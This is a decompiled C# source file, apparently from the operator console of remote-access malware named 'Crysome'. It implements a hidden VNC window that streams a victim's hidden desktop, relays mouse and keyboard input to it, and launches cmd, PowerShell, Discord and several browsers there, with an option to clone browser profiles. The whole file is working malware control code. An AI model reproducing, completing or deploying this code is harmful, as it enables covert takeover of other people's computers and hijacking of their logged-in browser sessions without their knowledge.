Files
crysome/Crysome.Server/Crysome.Server.View/HvncWindow.cs
T
2026-08-27 11:22:54 -06:00

798 lines
22 KiB
C#

using System;
using System.CodeDom.Compiler;
using System.Collections.Generic;
using System.ComponentModel;
using System.Diagnostics;
using System.IO;
using System.Runtime.InteropServices;
using System.Threading;
using System.Windows;
using System.Windows.Controls;
using System.Windows.Controls.Primitives;
using System.Windows.Input;
using System.Windows.Markup;
using System.Windows.Media.Imaging;
using System.Windows.Threading;
using Crysome.Server.Model;
using Crysome.Server.ViewModel;
using Wpf.Ui.Controls;
namespace Crysome.Server.View;
public class HvncWindow : FluentWindow, IComponentConnector
{
private readonly ClientInfo _client;
private readonly ManageClientsViewModel _vm;
private int _remoteWidth = 1920;
private int _remoteHeight = 1080;
private bool _streaming;
private byte[] _latestFrame;
private readonly object _frameLock = new object();
private bool _updatePending;
private readonly HashSet<int> _keysDownSent = new HashSet<int>();
private int _lastSentKeyOrChar;
private int _lastSentTicks;
private const int SendThrottleMs = 120;
private long _lastLeftDownTicks;
private Point _lastLeftDownPos;
private bool _suppressSecondLeftDown;
private const int DoubleClickMs = 400;
private const double DoubleClickMaxDistance = 10.0;
private int _frameCount;
private long _fpsTickStart;
private DispatcherTimer _fpsTimer;
private const int WM_MOUSEMOVE = 512;
private const int WM_LBUTTONDOWN = 513;
private const int WM_LBUTTONUP = 514;
private const int WM_LBUTTONDBLCLK = 515;
private const int WM_RBUTTONDOWN = 516;
private const int WM_RBUTTONUP = 517;
private const int WM_KEYDOWN = 256;
private const int WM_KEYUP = 257;
private const int WM_CHAR = 258;
private const int VK_SHIFT = 16;
private const int VK_CAPITAL = 20;
private const int VK_BACK = 8;
private const int VK_TAB = 9;
private const int VK_RETURN = 13;
private const int VK_ESCAPE = 27;
private const int VK_PRIOR = 33;
private const int VK_NEXT = 34;
private const int VK_END = 35;
private const int VK_HOME = 36;
private const int VK_LEFT = 37;
private const int VK_UP = 38;
private const int VK_RIGHT = 39;
private const int VK_DOWN = 40;
private const int VK_INSERT = 45;
private const int VK_DELETE = 46;
internal TextBlock TitleText;
internal Button StartBtn;
internal Button StopBtn;
internal Button CloseBtn;
internal Viewbox HvncViewbox;
internal Image HvncImage;
internal ToggleSwitch CloneControlSwitch;
internal ToggleSwitch MouseControlSwitch;
internal ToggleSwitch KeyboardControlSwitch;
internal TextBlock StatusText;
internal TextBlock FpsText;
internal Slider IntervalSlider;
internal TextBlock IntervalLabel;
internal ComboBox QualityCombo;
private bool _contentLoaded;
[DllImport("user32.dll")]
private static extern short GetKeyState(int nVirtKey);
[DllImport("user32.dll")]
[return: MarshalAs(UnmanagedType.Bool)]
private static extern bool GetKeyboardState(byte[] lpKeyState);
[DllImport("user32.dll")]
private static extern uint MapVirtualKey(uint uCode, uint uMapType);
[DllImport("user32.dll")]
private static extern int ToAscii(uint uVirtKey, uint uScanCode, byte[] lpKeyState, out uint lpChar, uint uFlags);
public HvncWindow(ClientInfo client, ManageClientsViewModel vm)
{
InitializeComponent();
_client = client;
_vm = vm;
((Window)this).Title = "HVNC — " + (client?.Address ?? "?");
TitleText.Text = ((Window)this).Title;
IntervalSlider.ValueChanged += delegate
{
IntervalLabel.Text = (int)IntervalSlider.Value + "ms";
};
((Window)this).Closed += delegate
{
DispatcherTimer fpsTimer = _fpsTimer;
if (fpsTimer != null)
{
fpsTimer.Stop();
}
if (_streaming)
{
_vm.StopHvnc(_client);
}
_vm.UnregisterHvncFrames(_client);
};
}
private void StartBtn_Click(object sender, RoutedEventArgs e)
{
//IL_00d8: Unknown result type (might be due to invalid IL or missing references)
//IL_00dd: Unknown result type (might be due to invalid IL or missing references)
//IL_00ef: Expected O, but got Unknown
_streaming = true;
_frameCount = 0;
_fpsTickStart = Environment.TickCount64;
((UIElement)(object)StartBtn).IsEnabled = false;
((UIElement)(object)StopBtn).IsEnabled = true;
StatusText.Text = "Streaming hidden desktop. Click on image to control.";
HvncImage.Focus();
int quality = QualityCombo?.SelectedIndex switch
{
0 => 100,
1 => 90,
2 => 75,
3 => 50,
4 => 25,
_ => 10,
};
int intervalMs = (int)(IntervalSlider?.Value ?? 80.0);
_fpsTimer = new DispatcherTimer
{
Interval = TimeSpan.FromSeconds(1L)
};
_fpsTimer.Tick += delegate
{
FpsText.Text = _frameCount + " FPS";
_frameCount = 0;
};
_fpsTimer.Start();
_vm.StartHvnc(_client, quality, intervalMs, delegate(byte[] imageData)
{
if (imageData != null && imageData.Length != 0)
{
Interlocked.Increment(ref _frameCount);
lock (_frameLock)
{
_latestFrame = imageData;
}
if (!_updatePending)
{
_updatePending = true;
((DispatcherObject)this).Dispatcher.BeginInvoke((Delegate)new Action(ApplyLatestFrame), (DispatcherPriority)4, Array.Empty<object>());
}
}
});
}
private void ApplyLatestFrame()
{
byte[] latestFrame;
lock (_frameLock)
{
_updatePending = false;
latestFrame = _latestFrame;
}
if (latestFrame == null || latestFrame.Length == 0)
{
return;
}
try
{
BitmapImage bitmapImage = new BitmapImage();
bitmapImage.BeginInit();
bitmapImage.StreamSource = new MemoryStream(latestFrame);
bitmapImage.CacheOption = BitmapCacheOption.OnLoad;
bitmapImage.EndInit();
((Freezable)bitmapImage).Freeze();
_remoteWidth = bitmapImage.PixelWidth;
_remoteHeight = bitmapImage.PixelHeight;
HvncImage.Source = bitmapImage;
}
catch
{
}
}
private void StopBtn_Click(object sender, RoutedEventArgs e)
{
_streaming = false;
DispatcherTimer fpsTimer = _fpsTimer;
if (fpsTimer != null)
{
fpsTimer.Stop();
}
_fpsTimer = null;
FpsText.Text = "";
_keysDownSent.Clear();
_lastSentKeyOrChar = 0;
_lastSentTicks = 0;
((UIElement)(object)StartBtn).IsEnabled = true;
((UIElement)(object)StopBtn).IsEnabled = false;
_vm.StopHvnc(_client);
_vm.UnregisterHvncFrames(_client);
lock (_frameLock)
{
_latestFrame = null;
}
HvncImage.Source = null;
StatusText.Text = "Stopped.";
}
private void CloseBtn_Click(object sender, RoutedEventArgs e)
{
((Window)this).Close();
}
private void Header_MouseLeftButtonDown(object sender, MouseButtonEventArgs e)
{
try
{
((Window)this).DragMove();
}
catch
{
}
}
private void ImageToRemoteCoords(Point p, out int x, out int y)
{
double actualWidth = HvncImage.ActualWidth;
double actualHeight = HvncImage.ActualHeight;
if (actualWidth <= 0.0 || actualHeight <= 0.0 || _remoteWidth <= 0 || _remoteHeight <= 0)
{
x = 0;
y = 0;
return;
}
double num = Math.Min(actualWidth / (double)_remoteWidth, actualHeight / (double)_remoteHeight);
double num2 = (double)_remoteWidth * num;
double num3 = (double)_remoteHeight * num;
double num4 = (actualWidth - num2) / 2.0;
double num5 = (actualHeight - num3) / 2.0;
x = (int)((p.X - num4) / num);
y = (int)((p.Y - num5) / num);
if (x < 0)
{
x = 0;
}
if (x >= _remoteWidth)
{
x = _remoteWidth - 1;
}
if (y < 0)
{
y = 0;
}
if (y >= _remoteHeight)
{
y = _remoteHeight - 1;
}
}
private static int MakeLParam(int x, int y)
{
return (y << 16) | (x & 0xFFFF);
}
private void HvncImage_MouseMove(object sender, MouseEventArgs e)
{
//IL_0030: Unknown result type (might be due to invalid IL or missing references)
if (_streaming)
{
ToggleSwitch mouseControlSwitch = MouseControlSwitch;
if (mouseControlSwitch != null && ((ToggleButton)(object)mouseControlSwitch).IsChecked == true)
{
ImageToRemoteCoords(e.GetPosition(HvncImage), out var x, out var y);
_vm.SendHvncInput(_client, 512, 0, MakeLParam(x, y));
}
}
}
private void HvncImage_MouseDown(object sender, MouseButtonEventArgs e)
{
//IL_003b: Unknown result type (might be due to invalid IL or missing references)
//IL_0040: Unknown result type (might be due to invalid IL or missing references)
//IL_0042: Unknown result type (might be due to invalid IL or missing references)
//IL_009d: Unknown result type (might be due to invalid IL or missing references)
//IL_009e: Unknown result type (might be due to invalid IL or missing references)
//IL_006c: Unknown result type (might be due to invalid IL or missing references)
//IL_006e: Unknown result type (might be due to invalid IL or missing references)
//IL_0073: Unknown result type (might be due to invalid IL or missing references)
//IL_0078: Unknown result type (might be due to invalid IL or missing references)
if (!_streaming)
{
return;
}
ToggleSwitch mouseControlSwitch = MouseControlSwitch;
if (mouseControlSwitch == null || ((ToggleButton)(object)mouseControlSwitch).IsChecked != true)
{
return;
}
HvncImage.Focus();
Point position = e.GetPosition(HvncImage);
ImageToRemoteCoords(position, out var x, out var y);
if (e.ChangedButton == MouseButton.Left)
{
long tickCount = Environment.TickCount64;
if (tickCount - _lastLeftDownTicks < 400)
{
Vector val = position - _lastLeftDownPos;
if (val.Length < 10.0)
{
_suppressSecondLeftDown = true;
return;
}
}
_lastLeftDownTicks = tickCount;
_lastLeftDownPos = position;
_vm.SendHvncInput(_client, 513, 0, MakeLParam(x, y));
}
else
{
_vm.SendHvncInput(_client, 516, 0, MakeLParam(x, y));
}
}
private void HvncImage_MouseUp(object sender, MouseButtonEventArgs e)
{
//IL_0030: Unknown result type (might be due to invalid IL or missing references)
if (!_streaming)
{
return;
}
ToggleSwitch mouseControlSwitch = MouseControlSwitch;
if (mouseControlSwitch == null || ((ToggleButton)(object)mouseControlSwitch).IsChecked != true)
{
return;
}
ImageToRemoteCoords(e.GetPosition(HvncImage), out var x, out var y);
if (e.ChangedButton == MouseButton.Left)
{
if (_suppressSecondLeftDown)
{
_suppressSecondLeftDown = false;
_vm.SendHvncInput(_client, 515, 0, MakeLParam(x, y));
_vm.SendHvncInput(_client, 514, 0, MakeLParam(x, y));
}
else
{
_vm.SendHvncInput(_client, 514, 0, MakeLParam(x, y));
}
}
else
{
_vm.SendHvncInput(_client, 517, 0, MakeLParam(x, y));
}
}
private static int GetModifiedChar(int vk)
{
GetKeyState(0);
byte[] lpKeyState = new byte[256];
if (!GetKeyboardState(lpKeyState))
{
return 0;
}
uint uScanCode = MapVirtualKey((uint)vk, 0u);
if (ToAscii((uint)vk, uScanCode, lpKeyState, out var lpChar, 0u) == 1)
{
return (int)lpChar;
}
return 0;
}
private static bool IsControlKey(int vk)
{
if (vk != 8 && vk != 9 && vk != 13 && vk != 27 && vk != 33 && vk != 34 && vk != 35 && vk != 36 && vk != 37 && vk != 38 && vk != 39 && vk != 40 && vk != 45)
{
return vk == 46;
}
return true;
}
private void SendKeyToHvnc(KeyEventArgs e, bool isKeyDown)
{
//IL_0029: Unknown result type (might be due to invalid IL or missing references)
if (!_streaming)
{
return;
}
ToggleSwitch keyboardControlSwitch = KeyboardControlSwitch;
if (keyboardControlSwitch == null || ((ToggleButton)(object)keyboardControlSwitch).IsChecked != true)
{
return;
}
int num = KeyInterop.VirtualKeyFromKey(e.Key);
if (num == 16 || num == 20)
{
return;
}
if (isKeyDown)
{
_keysDownSent.Add(num);
}
else
{
if (!_keysDownSent.Remove(num))
{
return;
}
int tickCount = Environment.TickCount;
if (IsControlKey(num))
{
if ((uint)(tickCount - _lastSentTicks) >= 120u || _lastSentKeyOrChar != num)
{
_lastSentKeyOrChar = num;
_lastSentTicks = tickCount;
_vm.SendHvncInput(_client, 256, num, 0);
_vm.SendHvncInput(_client, 257, num, 0);
}
return;
}
int modifiedChar = GetModifiedChar(num);
if (modifiedChar >= 32)
{
if ((uint)(tickCount - _lastSentTicks) >= 120u || _lastSentKeyOrChar != modifiedChar + 65536)
{
_lastSentKeyOrChar = modifiedChar + 65536;
_lastSentTicks = tickCount;
_vm.SendHvncInput(_client, 258, modifiedChar, 0);
}
}
else if ((uint)(tickCount - _lastSentTicks) >= 120u || _lastSentKeyOrChar != num)
{
_lastSentKeyOrChar = num;
_lastSentTicks = tickCount;
_vm.SendHvncInput(_client, 256, num, 0);
_vm.SendHvncInput(_client, 257, num, 0);
}
}
}
private void HvncImage_PreviewKeyDown(object sender, KeyEventArgs e)
{
SendKeyToHvnc(e, isKeyDown: true);
}
private void HvncImage_PreviewKeyUp(object sender, KeyEventArgs e)
{
SendKeyToHvnc(e, isKeyDown: false);
}
private void Window_PreviewKeyDown(object sender, KeyEventArgs e)
{
if (_streaming)
{
ToggleSwitch keyboardControlSwitch = KeyboardControlSwitch;
if (keyboardControlSwitch != null && ((ToggleButton)(object)keyboardControlSwitch).IsChecked == true)
{
SendKeyToHvnc(e, isKeyDown: true);
e.Handled = true;
}
}
}
private void Window_PreviewKeyUp(object sender, KeyEventArgs e)
{
if (_streaming)
{
ToggleSwitch keyboardControlSwitch = KeyboardControlSwitch;
if (keyboardControlSwitch != null && ((ToggleButton)(object)keyboardControlSwitch).IsChecked == true)
{
SendKeyToHvnc(e, isKeyDown: false);
e.Handled = true;
}
}
}
private void RunExplorer_Click(object sender, RoutedEventArgs e)
{
_vm.SendHvncRunRequest(_client, 0);
}
private void RunRunDialog_Click(object sender, RoutedEventArgs e)
{
_vm.SendHvncRunRequest(_client, 1);
}
private void RunCmd_Click(object sender, RoutedEventArgs e)
{
_vm.SendHvncRunRequest(_client, 2);
}
private void RunPowerShell_Click(object sender, RoutedEventArgs e)
{
_vm.SendHvncRunRequest(_client, 3);
}
private void RunChrome_Click(object sender, RoutedEventArgs e)
{
ManageClientsViewModel vm = _vm;
ClientInfo client = _client;
ToggleSwitch cloneControlSwitch = CloneControlSwitch;
vm.SendHvncRunRequest(client, (byte)((cloneControlSwitch != null && ((ToggleButton)(object)cloneControlSwitch).IsChecked == true) ? 11 : 4));
}
private void RunEdge_Click(object sender, RoutedEventArgs e)
{
ManageClientsViewModel vm = _vm;
ClientInfo client = _client;
ToggleSwitch cloneControlSwitch = CloneControlSwitch;
vm.SendHvncRunRequest(client, (byte)((cloneControlSwitch != null && ((ToggleButton)(object)cloneControlSwitch).IsChecked == true) ? 12 : 5));
}
private void RunFirefox_Click(object sender, RoutedEventArgs e)
{
ManageClientsViewModel vm = _vm;
ClientInfo client = _client;
ToggleSwitch cloneControlSwitch = CloneControlSwitch;
vm.SendHvncRunRequest(client, (byte)((cloneControlSwitch != null && ((ToggleButton)(object)cloneControlSwitch).IsChecked == true) ? 13 : 6));
}
private void RunOpera_Click(object sender, RoutedEventArgs e)
{
ManageClientsViewModel vm = _vm;
ClientInfo client = _client;
ToggleSwitch cloneControlSwitch = CloneControlSwitch;
vm.SendHvncRunRequest(client, (byte)((cloneControlSwitch != null && ((ToggleButton)(object)cloneControlSwitch).IsChecked == true) ? 14 : 7));
}
private void RunOperaGX_Click(object sender, RoutedEventArgs e)
{
ManageClientsViewModel vm = _vm;
ClientInfo client = _client;
ToggleSwitch cloneControlSwitch = CloneControlSwitch;
vm.SendHvncRunRequest(client, (byte)((cloneControlSwitch != null && ((ToggleButton)(object)cloneControlSwitch).IsChecked == true) ? 15 : 8));
}
private void RunBrave_Click(object sender, RoutedEventArgs e)
{
ManageClientsViewModel vm = _vm;
ClientInfo client = _client;
ToggleSwitch cloneControlSwitch = CloneControlSwitch;
vm.SendHvncRunRequest(client, (byte)((cloneControlSwitch != null && ((ToggleButton)(object)cloneControlSwitch).IsChecked == true) ? 16 : 9));
}
private void RunNotepad_Click(object sender, RoutedEventArgs e)
{
_vm.SendHvncRunRequest(_client, 17);
}
private void RunCalculator_Click(object sender, RoutedEventArgs e)
{
_vm.SendHvncRunRequest(_client, 18);
}
private void RunDiscord_Click(object sender, RoutedEventArgs e)
{
_vm.SendHvncRunRequest(_client, 19);
}
[DebuggerNonUserCode]
[GeneratedCode("PresentationBuildTasks", "9.0.14.0")]
public void InitializeComponent()
{
if (!_contentLoaded)
{
_contentLoaded = true;
Uri resourceLocator = new Uri("/Crysome.Server;component/view/hvncwindow.xaml", UriKind.Relative);
Application.LoadComponent(this, resourceLocator);
}
}
[DebuggerNonUserCode]
[GeneratedCode("PresentationBuildTasks", "9.0.14.0")]
[EditorBrowsable(EditorBrowsableState.Never)]
void IComponentConnector.Connect(int connectionId, object target)
{
//IL_00d7: Unknown result type (might be due to invalid IL or missing references)
//IL_00e1: Expected O, but got Unknown
//IL_00fb: Unknown result type (might be due to invalid IL or missing references)
//IL_0105: Expected O, but got Unknown
//IL_011f: Unknown result type (might be due to invalid IL or missing references)
//IL_0129: Expected O, but got Unknown
//IL_01fd: Unknown result type (might be due to invalid IL or missing references)
//IL_0213: Expected O, but got Unknown
//IL_0215: Unknown result type (might be due to invalid IL or missing references)
//IL_022b: Expected O, but got Unknown
//IL_022d: Unknown result type (might be due to invalid IL or missing references)
//IL_0243: Expected O, but got Unknown
//IL_0245: Unknown result type (might be due to invalid IL or missing references)
//IL_025b: Expected O, but got Unknown
//IL_025d: Unknown result type (might be due to invalid IL or missing references)
//IL_0273: Expected O, but got Unknown
//IL_0275: Unknown result type (might be due to invalid IL or missing references)
//IL_028b: Expected O, but got Unknown
//IL_028d: Unknown result type (might be due to invalid IL or missing references)
//IL_02a3: Expected O, but got Unknown
//IL_02a5: Unknown result type (might be due to invalid IL or missing references)
//IL_02bb: Expected O, but got Unknown
//IL_02bd: Unknown result type (might be due to invalid IL or missing references)
//IL_02d3: Expected O, but got Unknown
//IL_02d5: Unknown result type (might be due to invalid IL or missing references)
//IL_02eb: Expected O, but got Unknown
//IL_02ed: Unknown result type (might be due to invalid IL or missing references)
//IL_0303: Expected O, but got Unknown
//IL_0305: Unknown result type (might be due to invalid IL or missing references)
//IL_031b: Expected O, but got Unknown
//IL_031d: Unknown result type (might be due to invalid IL or missing references)
//IL_0333: Expected O, but got Unknown
//IL_0336: Unknown result type (might be due to invalid IL or missing references)
//IL_0340: Expected O, but got Unknown
//IL_0343: Unknown result type (might be due to invalid IL or missing references)
//IL_034d: Expected O, but got Unknown
//IL_0350: Unknown result type (might be due to invalid IL or missing references)
//IL_035a: Expected O, but got Unknown
switch (connectionId)
{
case 1:
((Grid)target).PreviewKeyDown += Window_PreviewKeyDown;
((Grid)target).PreviewKeyUp += Window_PreviewKeyUp;
break;
case 2:
((Border)target).MouseLeftButtonDown += Header_MouseLeftButtonDown;
break;
case 3:
TitleText = (TextBlock)target;
break;
case 4:
StartBtn = (Button)target;
((ButtonBase)(object)StartBtn).Click += StartBtn_Click;
break;
case 5:
StopBtn = (Button)target;
((ButtonBase)(object)StopBtn).Click += StopBtn_Click;
break;
case 6:
CloseBtn = (Button)target;
((ButtonBase)(object)CloseBtn).Click += CloseBtn_Click;
break;
case 7:
HvncViewbox = (Viewbox)target;
break;
case 8:
HvncImage = (Image)target;
HvncImage.MouseMove += HvncImage_MouseMove;
HvncImage.MouseLeftButtonDown += HvncImage_MouseDown;
HvncImage.MouseLeftButtonUp += HvncImage_MouseUp;
HvncImage.MouseRightButtonDown += HvncImage_MouseDown;
HvncImage.MouseRightButtonUp += HvncImage_MouseUp;
HvncImage.PreviewKeyDown += HvncImage_PreviewKeyDown;
HvncImage.PreviewKeyUp += HvncImage_PreviewKeyUp;
break;
case 9:
((ButtonBase)(Button)target).Click += RunExplorer_Click;
break;
case 10:
((ButtonBase)(Button)target).Click += RunRunDialog_Click;
break;
case 11:
((ButtonBase)(Button)target).Click += RunCmd_Click;
break;
case 12:
((ButtonBase)(Button)target).Click += RunPowerShell_Click;
break;
case 13:
((ButtonBase)(Button)target).Click += RunEdge_Click;
break;
case 14:
((ButtonBase)(Button)target).Click += RunChrome_Click;
break;
case 15:
((ButtonBase)(Button)target).Click += RunFirefox_Click;
break;
case 16:
((ButtonBase)(Button)target).Click += RunOpera_Click;
break;
case 17:
((ButtonBase)(Button)target).Click += RunOperaGX_Click;
break;
case 18:
((ButtonBase)(Button)target).Click += RunBrave_Click;
break;
case 19:
((ButtonBase)(Button)target).Click += RunDiscord_Click;
break;
case 20:
((ButtonBase)(Button)target).Click += RunNotepad_Click;
break;
case 21:
((ButtonBase)(Button)target).Click += RunCalculator_Click;
break;
case 22:
CloneControlSwitch = (ToggleSwitch)target;
break;
case 23:
MouseControlSwitch = (ToggleSwitch)target;
break;
case 24:
KeyboardControlSwitch = (ToggleSwitch)target;
break;
case 25:
StatusText = (TextBlock)target;
break;
case 26:
FpsText = (TextBlock)target;
break;
case 27:
IntervalSlider = (Slider)target;
break;
case 28:
IntervalLabel = (TextBlock)target;
break;
case 29:
QualityCombo = (ComboBox)target;
break;
default:
_contentLoaded = true;
break;
}
}
}